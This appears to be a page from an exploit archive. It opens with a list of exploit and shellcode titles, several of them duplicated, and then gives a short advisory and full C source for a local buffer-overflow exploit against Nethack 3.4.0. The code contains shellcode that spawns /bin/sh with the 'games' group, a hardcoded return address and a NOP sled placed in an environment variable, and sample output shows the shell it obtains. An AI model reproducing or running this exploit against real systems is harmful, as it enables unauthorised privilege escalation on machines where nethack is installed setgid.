
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
70 lines
No EOL
2.6 KiB
C
70 lines
No EOL
2.6 KiB
C
// source: https://www.securityfocus.com/bid/6806/info
|
||
|
||
By passing an overly large string when invoking nethack, it is possible to corrupt memory.
|
||
|
||
By exploiting this issue it may be possible for an attacker to overwrite values in sensitive areas of memory, resulting in the execution of arbitrary attacker-supplied code. As nethack may be installed setgid 'games' on various systems this may allow an attacker to gain elevated privileges.
|
||
|
||
slashem, jnethack and falconseye are also prone to this vulnerability.
|
||
|
||
|
||
/* DSR-nethack.c by bob@dtors.net
|
||
* Vulnerbility Found by tsao.
|
||
*
|
||
* Local BufferOverflow that leads
|
||
* to elevated privileges [games].
|
||
*
|
||
* Basic PoC code...nothing special.
|
||
*[bob@dtors bob]$ ./DSR-nethack
|
||
*
|
||
* DSR-nethack.c By bob.
|
||
* Local Exploit for Nethack 3.4.0
|
||
* DSR-[www.dtors.net]-DSR
|
||
*
|
||
* ret: 0xbffffd86
|
||
*
|
||
* Cannot find any current entries for
|
||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.<2E><><EFBFBD>
|
||
* Usage: nethack -s [-v] <playertypes> [maxrank] [playernames]
|
||
* Player types are: [-p role] [-r race]
|
||
* sh-2.05b$ id -a
|
||
* uid=12(games) gid=501(bob) groups=501(bob)
|
||
* sh-2.05b$
|
||
*
|
||
* www.dtors.net // www.b0f.net
|
||
*/
|
||
#include <stdio.h>
|
||
char shellcode[]= /* shellcode by bob */
|
||
|
||
"\x29\xc4\x31\xc0\x31\xc9\x31\xdb\xb3\x0c\x89\xd9\xb0\x46\xcd\x80" //minus
|
||
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
|
||
"\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80";
|
||
int main ()
|
||
{
|
||
unsigned long ret = 0xbffffd86; //Redhat 8.0 i386
|
||
char buf[224];
|
||
char smeg[1024];
|
||
char *ptr;
|
||
int i=0;
|
||
fprintf(stdout, "\n\tDSR-nethack.c By bob.\n");
|
||
fprintf(stdout, "Local Exploit for Nethack 3.4.0\n");
|
||
fprintf(stdout, "\tDSR-[www.dtors.net]-DSR\n");
|
||
|
||
memset(buf, 0x41, sizeof(buf));
|
||
ptr = smeg;
|
||
for (i = 0; i < 1024 - strlen(shellcode) -1; i++) *(ptr++) = 0x90;
|
||
for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
|
||
smeg[1024 - 1] = '\0'; //null byte
|
||
memcpy(smeg,"EGG=",4);
|
||
putenv(smeg);
|
||
buf[220] = (ret & 0x000000ff);
|
||
buf[221] = (ret & 0x0000ff00) >> 8;
|
||
buf[222] = (ret & 0x00ff0000) >> 16;
|
||
buf[223] = (ret & 0xff000000) >> 24;
|
||
buf[224] = '\0';
|
||
|
||
fprintf(stdout,"ret: 0x%08x\n",ret);
|
||
|
||
execl("/usr/games/lib/nethackdir/nethack", "nethack", "-s", buf,
|
||
NULL); //weeoooweeeeooowooo
|
||
return 0;
|
||
} |